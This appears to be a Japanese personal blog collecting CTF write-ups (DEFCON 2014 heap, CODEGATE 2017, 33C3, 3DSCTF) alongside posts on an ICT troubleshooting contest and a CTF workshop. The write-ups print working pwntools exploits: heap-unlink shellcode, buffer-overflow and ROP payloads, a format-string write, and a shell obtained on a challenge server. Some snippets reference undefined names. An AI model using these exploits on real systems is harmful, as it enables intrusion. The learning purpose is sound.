DEFCON 2014 CTF - Baby's First: 1 - heap
はじめに
heap系の問題が良くわからないので、katagaitai CTF勉強会(https://speakerdeck.com/bata_24/katagaitai-ctf-number-1)で取り上げられていた問題を解いてみた。
やっていることはだいたい同じなので、違うところだけを書いていく。
exploit
kataigait CTF勉強会では、printfのGOTを書き換えてeipを奪っていた。exit_funcでも良くね?と思い、exit_funcを書き換える方向でやってみた。
飛ばす先は、チャンクの先頭(?)で、unlinkの際に書きかわる部分は、mov eax, みたいな命令でやりすごしている。
全てのfreeが完了したら、exit_funcから入力したシェルコードが呼ばれてシェルが起動する。
from pwn import * context(os='linux', arch='i386') #context.log_level = 'debug' # output verbose log RHOST = "localhost" RPORT = 8080 LHOST = "127.0.0.1" LPORT = 8080 # libc = ELF('') elf = ELF('./heap') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= #b *{0} #b *0x8048afa ignore 2 0x0a c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./heap'], execute=execute) else: conn = process(['./heap']) # conn = process(['./heap'], env={'LD_PRELOAD': ''}) # preparing for exploitation bufsize = 260 exit_func = 0x804c8ac printf_got = 0x804C004 log.info('Pwning') conn.recvuntil("size=755]\n[ALLOC][loc=") shellcode_base = int(conn.recv(7), 16) log.info("{:#x}".format(shellcode_base)) conn.recvuntil('[size=260]:') payload = "\x90\x90\x90\xb8" payload += "JUNK" # overwrite at unlink payload += asm(shellcraft.sh()) payload += "A" * (bufsize - len(payload)) payload += p32(0x1) payload += p32(exit_func - 8) payload += p32(shellcode_base) conn.sendline(payload) conn.interactive()
第7回ICTトラブルシューティングコンテスト 感想
はじめに
大学サークルチーム「tuat_mcc」として第7回ICTトラブルシューティングコンテストに参加した。CTFをやっているいつもの3人+期待の後輩2人というチーム構成だった。3月3日土曜日、4日日曜日の2日間に渡って開催され、場所は調布にあるNTTの研修センターだった。
問題は、複数の会社でトラブルが発生し、それを解決したり原因の特定をしたり対策をしたりする感じだった。サーバー系の問題やネットワークの問題など多岐にわたるジャンルから出題されていたらしい。
このポストでは、感想と自分が解けた問題のwriteupを書いていく。writeupを書いていいことは、運営に尋ねたら了承してくれた。
TAB (D社の1問目)
問題文は以下の感じで、サーバのドメインとユーザー名、パスワードも一緒に与えられていた。DNSに関する問題で、自分はDNSを名前解決する何かとしか認識していなかったので、調べながらの挑戦となった。
社内のDNSサーバを構築する際、上司はコンテンツサーバとキャッシュサーバを別にしなければならないというこだわりを見せた。 リソースが足りないため1台のサーバに同居させたところ、正しくフォワードされないようである。 この不具合を修正し、 http://t[チーム番号].p22.ictsc が表示されることを確認してほしい。
サーバーには、コンテンツサーバーとしてNSD、キャッシュサーバーとしてunboundがインストールされていた。2つのサービスはデフォルトで53番ポートを使用する設定になっているため、片方のポートを変えてやる必要があった。NSDを10053番ポート、unboundを53番ポートにして同時に動作できるようにした。しかし、ここでNSDを起動しても落ちてしまっていた。原因はSELinuxで、10053番をDNSで使えるように設定する必要があった。
sudo semanage port -l | grep 53 apertus_ldp_port_t tcp 539 apertus_ldp_port_t udp 539 dns_port_t tcp 53 dns_port_t udp 53
下記の手順で、10053番ポートをDNSで使えるようにした。TCP、UDPを両方設定したのは念のため。これでNSDを起動しても落ちないようになった。
sudo semanage port -a -t dns_port_t -p tcp 10053 sudo semanage port -a -t dns_port_t -p udp 10053
正答条件には、参加者がいるネットワークのブラウザから、http://t[チーム番号].p22.ictsc へアクセスできることが含まれている。t[チーム番号].p22.ictscの名前を解決する情報は、ログインしているサーバーに存在しており、参加者がいるネットワーク内のDNSから、ログインしているサーバへDNSのリクエストが飛んでくる。これに気付かずに1日目を潰してしまい、気づいた2日目の昼にはヒント公開と同時に点数が下げられてしまい痛かった。unboundの設定で、参加者ネットワーク内のDNSから来るリクエストを許可すれば良い。
ここまでしても解決されなかったので、tcpdumpの結果を眺めていたら、より下の階層で弾かれてないか?と気づきiptablesでDNSが使用するポートを通過するように設定した。これで無事に名前が解決できて、ブラウザからt[チーム番号].p22.ictscへとアクセスできるようになった。
感想
ICTSCには初めて参加だったが、とても楽しかった。今まで参加したことがないジャンルのコンテストだったので、自分に足りないものを知ることができた。あと、独走していた社会人チームを見て、突き抜けた大人はカッコイイなぁと思った。
それと、どうでもいいことなのだが、一つだけ残念だったことがあった。1日目の昼食時にチームメンバーがハンバーグ弁当を選んでおり、その中には大きなハンバーグが入っていて、とても美味しそうだった。2日目の昼食時、1日目の印象から今日はハンバーグにしようと、ハンバーグ弁当と書かれた札から取った弁当は、1日目のものと違い、ハンバーグが入っているが小さくガッカリした。1日目のものとは違ったがハンバーグは入っているので、よく確認しなかった自分が悪いのだが、あの時はとても残念だった。
CODEGATE 2017 CTF EasyCrack 101
はじめに
101個のバイナリファイルのkeyを当てるだけ。
angr使って解いた。
チーメメンバがcurl使って自動送信するコードを書いてくれたので、途中からは、そのコードを使って分担してた。
そのコードは載せてない。
solve.py
keyはコマンドライン引数にて指定するので、コマンドライン引数を解析対象にするようにしている。
keyの長さは、最初適当に120とかにしていた。その後は解析結果を眺めながら、この程度が妥当だろうという長さに設定し直した。
import angr import claripy from pwn import * import sys for i in range(1, 102): fname = "prob"+str(i) binf = open(fname, 'rb').read() addr_main = u32(binf[0x5b0:0x5b4]) addr_succeeded = addr_main+0x50 addr_failed = addr_main+0x5c #key_length = 120 key_length = 50 p = angr.Project(fname) arg1 = claripy.BVS('arg1', key_length*8) com = "./" + fname initial_state = p.factory.entry_state(args=[com, arg1], add_options={"BYPASS_UNSUPPORTED_SYSCALL"}) for b in arg1.chop(key_length): initial_state.add_constraints(b != 0) pg = p.factory.path_group(initial_state, immutable=False) e = pg.explore(find=addr_succeeded, avoid=addr_failed) for path in pg.found: key = path.state.se.any_str(arg1) print fname, repr(key)
1ファイルあたり15秒程度で解析できていた。
ASCIIのprintableな文字がkeyなので、それを送信していた。
% python solve.py prob1 'T}gTRvNZAK_Exv^vqpDwCW\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' prob2 '}hGafk~acCtypkaEoi||f}tzsr\x00\x00\x00\x00\x00?\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' prob3 'ELFT[^MYLINQMI_FQFYKOOZ^U\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' ...
33C3 CTF writeup
はじめに
TokyoWesternsで参加して6位でした。pwnを中心にやってたのですが、解析パートが辛く厳しかった。僕が関わった問題2問のwriteupです。
The 0x90s called (pwn 150)
Linuxカーネルが動作するサーバーにアクセスして、rootでしか読めないflagを読む問題。
途中まで出来たが最後はプロが解いてくれた(圧倒的感謝🙏)。
% nc 78.46.224.70 2323 Welcome to Linux 0.99pl12. slack login: challenge Password:challenge Linux 0.99pl12. (Posix). No mail. slack:~$ uname -a Linux slack 0.99.12 #6 Sun Aug 8 16:02:35 CDT 1993 i586
/etc/passwdを見ると、syncはパスが設定されてない。suコマンドでsyncの権限でコマンド実行することが可能だった(ここまではできた)。rootグループの権限があってもflagは読めないのでもう一捻り必要。
cat /etc/passwd root::0:0::/:/bin/sh daemon:x:1:1::/etc: bin:x:2:2::/bin: adm:x:4:4::/: uucp::5:5::/usr/uucp: sync::255:0:::/bin/sync anonymous:*:403:1::/home/ftp:/bin/sh ftp:*:404:1::/home/ftp:/bin/sh challenge:*:405:1::/home/challenge: slack:~$ su sync -c 'id' uid=255(sync) gid=0(root)
プロが/dev/*は、rootグループでreadできることに気づいた./dev/hdaにファイルが書き込まれていることに気づきdone.
su sync -c 'cat /dev/hda' (skip) 33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3 (skip)
rec
flagのsubmitはしたが、正直何もしてないごっつぁんゴール。やったことは、rubyで書かれたexploitをpythonに書き直し、libcをリークさせようとしてた。libcのリークは完全に無駄で、オフセットから特定が可能だった。
Signは入力した数値の符号を返す機能で、入力に応じてeaxに関数を設定してcall eaxしている。
0を入力すると、eaxに関数が設定されず、stack上の値がeaxに格納される。
うまいことstackを調整し、呼び出したい関数をstackに積んでから0を入力すればいい。
from pwn import * def m(u32): return -(0xffffffff - u32 + 1) def send_cmd(num): repr(conn.recvuntil('> ')) conn.sendline(str(num)) print '< ', num return def send_addr100(addr): for i in range(100): conn.sendline(str(addr)) host = '78.46.224.74' port = 4127 # myabe address so must dump libc libc_stdout_offset = 0x1b3d60 libc_system_offset = 0x3b020 libc_binsh_offset = 0x15cbcf libc_system_offset = 0x0003a8b0 conn = remote(host, port) # leak some addreses send_cmd(1) conn.recvuntil('Your note: ') recv = conn.recv(16) print repr(recv) stack_addr = u32(recv[0:4]) pie_base = u32(recv[4:8]) - 0x6fb libc_base = u32(recv[8:12]) - libc_stdout_offset print '[+] pie_base =', hex(pie_base) print '[+] libc_base =', hex(libc_base) send_cmd(2) conn.recvuntil(': ') conn.sendline('S') send_func100(m(libc_base + libc_system_offset)) conn.recvuntil(': ') conn.sendline(str(m(libc_base + libc_binsh_offset))) conn.sendline('.') send_cmd(5) conn.sendline('0') conn.interactive()
% python exploit.py [+] Opening connection to 78.46.224.74 on port 4127: Done < 1 '\xb8\xd0\xe5\xff\xfb\x16ZV`\x9dm\xf7\xfe ZV' [+] pie_base = 0x565a1000 [+] libc_base = 0xf7526000 < 2 < 5 [*] Switching to interactive mode $ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ ls bin boot challenge dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old $ cat /challenge/flag 33C3_L0rd_Nikon_would_l3t_u_1n
おわりに
任意の問題が辛かったのでもっと精進したい。
rev力の無さを痛感したので精進したい。
Firefox exploitationの問題はwriteup読みながらでも解きたい。
The 318br, DESEC, and SucuriHC Capture The Flag (3DSCTF) writeup
はじめに
ソロで参加しました。
時間内に2問解いたけど、参加している間に問題の解放がされなかったので、あとの2問は競技時間外に解きました。
pwnだけしか解いてないので許して。
Get started (pwn 100)
BOFがありリターンアドレスの書き換えが可能であった。
ファイルからflagを読み込み表示する関数がいるので、リターンアドレスをその関数に書き換える。
関数内で引数のチェックがあるので、チェックが通るように引数を設定する。
from pwn import * get_flag = 0x080489a0 conn = remote('54.175.35.248', 8005) payload = 'A' * (0x3c - 4) payload += p32(get_flag) payload += 'AAAA' payload += p32(0x308cd64f) payload += p32(0x195719d1) conn.sendline(payload) print conn.recv(1024)
not the same
BOFにてリターンアドレスが書き換えられる。
ファイルからflagを読み出す関数があるが、読み出すだけで出力しない。
flagは固定アドレスに書き込まれるので、printfで出力しておしまい。
from pwn import * get_flag = 0x080489a0 flag = 0x80eca2d printf = 0x804f0a0 exit = 0x806d7d1 #payload = 'A' * (0x3c - 4) payload = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' payload += p32(get_flag) payload += p32(printf) payload += 'AAAA' payload += p32(flag) conn = remote('54.175.35.248', 8006) conn = process('not_the_same') conn.sendline(payload) print conn.recv(1024)
from pwn import * get_flag = 0x080489a0 flag = 0x80eca2d printf = 0x804f0a0 exit = 0x806d7d1 #payload = 'A' * (0x3c - 4) payload += p32(get_flag) payload += p32(printf) payload += 'AAAA' payload += p32(flag) conn = remote('54.175.35.248', 8006) conn.sendline(payload) print conn.recv(1024) ### 3DS{b0f_pr4_c0m3c4r_n3}
Please no (pwn300)
BOFでリターンアドレスの書き換えが可能。
ファイルをオープンし、その中身を出力している関数があるが、肝心のファイル名がbss領域に存在するが、空となっている。
逆アセンブルした結果を眺めていると、ファイル名に該当するアドレスへとstrcatしている関数が複数存在する。
連結される文字列を組み合わせて、妥当そうな文字列を構成してからファイルの中身を出力させる関数を実行させるようにした。
from pwn import * host = '209.190.1.131' port = 9003 file_name = 'please-no' mflag_addr = 0x8048690 text_addr = 0x8048650 flag_addr = 0x8048590 pop3_ret_addr = 0x8048789 ''' mflag 8048690: 83 ec 1c sub esp,0x1c 8048693: 81 7c 24 20 41 0c 0b cmp DWORD PTR [esp+0x20],0x1b0b0c41 804869a: 1b 804869b: 75 2d jne 80486ca <fgetc@plt+0x26a> 804869d: 81 7c 24 24 4e 37 13 cmp DWORD PTR [esp+0x24],0xae13374e 80486a4: ae 80486a5: 75 23 jne 80486ca <fgetc@plt+0x26a> 80486a7: c7 44 24 16 6d 66 6c mov DWORD PTR [esp+0x16],0x616c666d 80486ae: 61 80486af: 66 c7 44 24 1a 67 00 mov WORD PTR [esp+0x1a],0x67 # .text 8048650: 83 ec 1c sub esp,0x1c 8048653: 81 7c 24 20 37 13 b0 cmp DWORD PTR [esp+0x20],0xb0b01337 804865a: b0 804865b: 75 23 jne 8048680 <fgetc@plt+0x220> 804865d: c7 44 24 16 2e 74 65 mov DWORD PTR [esp+0x16],0x7865742e 8048664: 78 8048665: 66 c7 44 24 1a 74 00 mov WORD PTR [esp+0x1a],0x74 ''' elf = ELF(file_name) if len(sys.argv) == 2: conn = remote(host, port) else: conn = process(file_name) payload = 'A' * 20 payload += p32(mflag_addr) payload += p32(pop3_ret_addr) payload += p32(0x1b0b0c41) payload += p32(0xae13374e) payload += 'AAAA' payload += p32(text_addr) payload += p32(pr) payload += p32(0xb0b01337) payload += 'AAAA' payload += 'AAAA' payload += p32(flag_addr) payload += p32(0x8048420) conn.sendline(payload) print repr(conn.recv(1024)) conn.close() ### 3DS{n0_symb0l5_w1th_R0P_15_p41nful_r1ght}
echoindiapapa (pwn 400)
FSB。
0x601080が0x180であればwin関数が呼ばれ、flagを得ることができる。
スタック上に、このアドレスが積まれており、そのオフセットは10であった。
from pwn import * host = '209.190.1.131' port = 9005 string_addr = 0x601080 main_addr = 0x400750 if len(sys.argv) == 2: conn = remote(host, port) else: conn = process(file_name) conn.recvuntil('name?') payload = '%384c%10$n' conn.sendline(payload) print repr(conn.recv(1024)) print repr(conn.recv(1024)) ### 3DS{FS4_1s_4_b1t_und3r5t1m4t3d}
おわりに
息抜きちょうどよかった。
CTFをやり始めたきっかけとかいろいろ
はじめに
この記事は、CTF Advent Calendar 2016 - Adventarの20日目の記事です。
空いている日を埋めようとしている作成者を見かけたので、便乗して書きました。
中身は、まったく技術的なことがないポエムです。
CTFを知ったきっかけ
地元の有志による勉強会で、「セキュリティを勉強しよう!それにはCTFがいいよ!」みたいなLTを聞いたのがキッカケだったと思います。
その時点まで、セキュリティとかまったく興味ありませんでした。
しかし、ただ興味を持っただけで、実際にCTFを始めたのはもっと後になってからでした。
はじめてのCTF(?)
「CTFって楽しいなぁ、やってみよう」と思ったのは、mixiさん主催のscrap challengeがキッカケでした。
詳細は、リンク先をみてください。大雑把にイベントの内容を説明しますと、mixiのクローンサイトに脆弱性を埋め込み、そこを突いて情報を抜き出し競い合いといった感じです。
SQL Injectionを駆使した問題で、うまくいった時にめちゃくちゃ脳汁が出たのを覚えています。
この時の快感が忘れられずに、CTFにのめり込んで行きました。
それから1年ぐらい
CTFtime見ながら、良さげなオンラインCTFを探して、ソロで参加してました。
オンラインCTFがやってないときは、常設CTFの問題解いてました。
だいたい、以下の常設CTFやってました。
それと、たまに大学サークルチームでSECCONの地方大会に出たりしてました。
そういう世界観のA&Dとか、1秒で切り替わるバイナリとか楽しかったです。
勉強するときは、有名なinaz2さんのももいろテクノロジー読んだりしてました。
inaz2.hatenablog.com
ytokuさんのPwn勉強会の資料とか読んで実践してました。
ytoku/Slides/Pwn勉強会 - 電気通信大学MMA
どなたのサイトか分からないのですが、以下のサイトも体系的にまとまっていたので、参考にさせていただきました。
CTF Pwn - A painter and a black cat
これから
色々なジャンルの問題に手を出してみて、他よりも良く出来たのがpwnだったので、pwn精進していきたいです。
heapがよくわからんので、glibcのソースコード読んだり、小崎さんのmalloc動画を見て仕組みを理解したいなーといった感じです。
The 67th Yokohama kernel reading party - YouTube
あとは、bataさんのリスト埋めて経験積んでいきたい。(medium easyまでしか解けてない...)
pwn challenges list - Pastebin.com
最近、チームに入れてもらったので貢献できるようになりたいなーと。
おわりに
だから何なんだ、という内容でした。
最後まで読んでいただきありがとうございました。
MCC CTF workshopのはなし
はじめに
この記事は、MCC Advent Calendar 2016 - Adventarの23日目の記事です。
前日の22日目の記事は、Cherry氏のE科鬼実験体験談 | MCC Blogです。
こんばんわ、S科B4のhamaです。役職などありませんが、CTFの方にちょくちょく参加してます。
今回は、タイトル通りにCTF workshopについて書きたいと思います。
概要
9月7日、9日に開催されました。
7日は、shift_crops先生によるexploit(pwn)とbinaryの講義。
9日は、monjisan先生によるWebの講義と、icchy先生によるForensicの講義でした。
binary
binaryは、与えられた実行形式ファイルを解析してフラグを得るというのが目標となるジャンルで、講義ではアセンブラの読み方など初歩からやっていました。
shift_crops先生は、ctf4bという入門者向けの講座の先生も務めている大先生なので、わかりやすく楽しい講義でした。
exploit
脆弱性のあるバイナリが10個ほど与えられました。
脆弱性を突きシェルを奪うのがゴールで、黙々と攻撃してました。
取り扱った脆弱性は、FSB(Format String Bug)と、BOF(Buffer OverFllow)でした。
あとはShellcodeに関するものもありました。
shift_crops大先生は、pwnの大先生なので細かいテクニックなども聞けて楽しかったです。
web
すいません、よく聞いてなかったのか覚えてません。
MCCのslackの#ctf_workshopに、スライドが上がってるので確認してください。
monjisan先生は、javascriptの大先生なのでwebに強いです。
forensic
icchy先生によるforensicの講義です。
forensicとは何かから始まり、この間開催されたTWCTFの問題を解説を交えながら解きました。